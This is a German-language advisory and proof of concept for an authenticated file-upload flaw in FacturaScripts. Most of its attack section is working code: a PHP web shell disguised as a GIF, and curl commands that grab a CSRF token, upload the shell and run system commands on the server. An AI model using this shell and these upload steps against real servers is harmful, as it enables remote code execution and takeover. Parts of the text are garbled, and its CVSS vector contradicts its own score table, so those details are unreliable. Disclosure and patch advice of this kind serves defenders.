
FacturaScripts RCE Exploit – Proof of Concept
Eine authentifizierte Schwachstelle für uneingeschränkten Datei-Upload existiert in der Produktbild-Upload-Funktion von FacturaScripts. Ein Angreifer mit gültigen Anmeldedaten kann eine PHP-Datei hochladen, die als GIF-Bild getarnt ist (unter Verwendung eines GIF89a-Headers), wodurch die MIME-Typ-Validierung umgangen wird. Die Datei wird mit ihrer ursprünglichen Erweiterung gespeichert, einschließlich ausführbarer Erweiterungen wie .php.
Die Schwachstelle existiert in:
Core/Lib/ExtendedController/ProductImagesTrait.php
Insbesondere in der Methode addImageAction().
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
"image/" enthältimage/gif.php-Erweiterung in einem webbasiert zugänglichen Verzeichnis gespeichertHochgeladene Dateien werden gespeichert in:
/MyFiles/YYYY/MM/X.php
Wobei X eine automatisch inkrementierende ID ist. Dies ermöglicht direkte Remote-Ausführung:
http://target/MyFiles/2026/03/2.php?cmd=id
Eine erfolgreiche Ausnutzung ermöglicht:
Ein Angreifer kann Dateien mit ausführbaren Erweiterungen (z. B. .php) auf den Server hochladen, was je nach Serverkonfiguration zu weiterer Ausnutzung führen könnte.
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
PHPSESSID aus den Browser-Cookiescurl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Basis-Score: 6.3 (Mittel)
| Metrik | Wert |
|---|---|
| Angriffsvektor | Netzwerk (AV:N) |
| Angriffskomplexität | Niedrig (AC:L) |
| Erforderliche Privilegien | Niedrig (PR:L) |
| Benutzerinteraktion | Keine (UI:N) |
| Auswirkungsbereich | Geändert (S:C) |
| Vertraulichkeit | Hoch (C:H) |
| Integrität | Hoch (I:H) |
| Verfügbarkeit | Hoch (A:H) |
| Feld | Wert |
|---|---|
| Ökosystem | Packagist |
| CVE-ID | CVE-2026-42879 |
| Paketname | facturascripts/facturascripts |
| Betroffene Versionen | <= 2025.81 |
| Gepatchte Versionen | Noch nicht gepatcht |
| Behoben in | Ausstehend |
.php, .phtml, .phar oder andere ausführbare Erweiterungen endet, unabhängig vom MIME-TypgetClientOriginalName(); weisen Sie einen sicheren UUID-basierten Namen mit einer validierten Erweiterung zufileinfo, anstatt dem clientseitig übermittelten MIME zu vertrauen